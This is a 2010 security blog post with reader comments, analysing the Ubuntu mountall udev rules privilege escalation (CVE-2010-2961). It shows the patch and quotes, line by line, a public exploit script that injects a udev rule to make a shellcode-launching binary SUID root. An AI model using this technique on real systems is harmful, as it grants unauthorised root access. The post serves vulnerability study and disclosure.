xorl %eax, %eax

CVE-2010-2961: Ubuntu Linux mountall Privilege Escalation

with 9 comments

This vulnerability was reported by Alasdair MacGregor and it’s as simple as this. The mountall(1) utility which is used as a mounting tool for UDEV rules, create rules that are owned by root and world writable! Example:

-rw-rw-rw- 1 root root 85 2010-10-08 22:04 /dev/.udev/rules.d/root.rules

If you read the bug tracking system’s comments you’ll probably notice Kees Cook’s comment who says:

Touching this file after initramfs boot doesn't seem to trigger a udev 
rules reload, so I think this file isn't actually being used by udev any 
more. That said, it should not be world-writable. Scott, can you confirm 
this can't be used to load arbitrary udev rules?

At last, the fix was to patch src/mountall.c like this:

 		if (root->mounted_dev != -1) {
 			FILE *rules;
+			mask = umask (0022);
 			mkdir ("/dev/.udev", 0755);

Which is a simple permissions addition using umask(2) system call as well as…

 				fclose (rules);
+			umask (mask);

So, fuzz came up with an exploit shell script to take advantage of this issue. His exploit code is available here. Let’s see his code now…

# by fuzz. For Anux inc. #
# ubuntu 10.04 , 10.10
if [ -z "$1" ]
        echo "usage: $0 <UDEV KERNEL EVENT>"
        echo "see here http://www.reactivated.net/writing_udev_rules.html"

As you can read, the exploit code requires an argument which should be UDEV kernel event. Next we have:

cat > usn985-exploit.sh << EOF
chown root:root $PWD/usn985-sc
chmod +s $PWD/usn985-sc

This will simply create another shell script file named ‘usn985-exploit.sh’ that will use chown(1) to update ‘usn985-sc”s owner and group to ‘root’ and add a SUID binary flag to it using chmod(1) utility. Of course, this file has to be present so the next part of his code will create that file.

cat > usn985-sc.c << EOF
char *s="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68"
main(){int *r;*((int *)&r+2)=(int)s;}

Using a simple shell spawning shellcode and a call to it this C code will just spawn a shell. The exploit code will of course compile the newly created C source code file as you can read below.

gcc usn985-sc.c -o usn985-sc
echo "KERNEL==\"$1\", RUN+=\"$PWD/usn985-exploit.sh\"" >> /dev/.udev/rules.d/root.rules
chmod +x usn985-exploit.sh
echo "All set, now wait for udev to restart (reinstall, udev upgrade, SE, raep, threat.)"
echo "Once the conf is reloaded, just make the udev event happen : usn985-sc file will get suid-root"

And then write a new UDEV rule to ‘/dev/.udev/rules.d/root.rules’ that will use the user provided kernel event to execute the ‘usn985-exploit.sh’ script which will in turn make the shell spawning code a SUID root binary. Of course, ‘usn985-exploit.sh’ must be an executable file so this is what is done using chmod(1).

Written by xorl

October 13, 2010 at 11:49

Posted in linux, vulnerabilities

9 Responses

Subscribe to comments with RSS.

  1. The scarier part is that an attacker doesn’t even have to wait for a udev event; they can generate them without physical access: http://www.outflux.net/blog/archives/2010/10/13/mountall-umask/

    Kees Cook

    October 13, 2010 at 17:16

  2. Very nice trick, I like it :)


    October 13, 2010 at 19:59

  3. Please fix the colour scheme on your website. After reading the white-on-black text, I cannot read your black-on-dazzling-white code snippets.


    October 14, 2010 at 08:49

  4. @Jeremy: I’ll have a look at the wordpress provided themes but I cannot promise you that the theme will change soon. :(


    October 14, 2010 at 11:52

  5. Could you please explain this code snippet?

    {int *r;*((int *)&r+2)=(int)s;}

    I don’t get it completely. (int)s might be the address of the shellcode, but im lost with the left part of the equality.


    October 16, 2010 at 16:18

  6. In a more readable form:

    int *func;
    *((int *) &func+2);
    (*func) = (int)shellcode;

    So, he just creates a pointer to a function (which is the ‘int *r’ or ‘func’ in my case) and sets his shellcode to be put and execute it through it.
    The +2 is a trick. As you probably already know, this function will have a stack frame that begins with its frame pointer (EBP) and return address.
    By adding 2 x (int *) to it will set this function pointer pointing to its return address. Then it replaces that return address with the shellcode in order to get it executed.


    October 16, 2010 at 16:47

  7. Thank you very much. So the point here is that he’s overwriting the return address with the shellcode address via the r pointer. ¡Good!
    Thank you again, I love this blog.


    October 17, 2010 at 12:45

  8. Of course you don’t need to actually use shellcode at all: system (“/bin/sh”) would have sufficed in this case. But it would probably be a less realistic example.


    October 21, 2010 at 14:49

  9. […] This happens. So, what else can we do? Examining other recent advisories, you’ll learn about the Ubuntu mountall privilege escalation vulnerability. A bug in the mountall utility leaves a world-writeable root.rules file in /dev/.udev/rules.d. […]

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: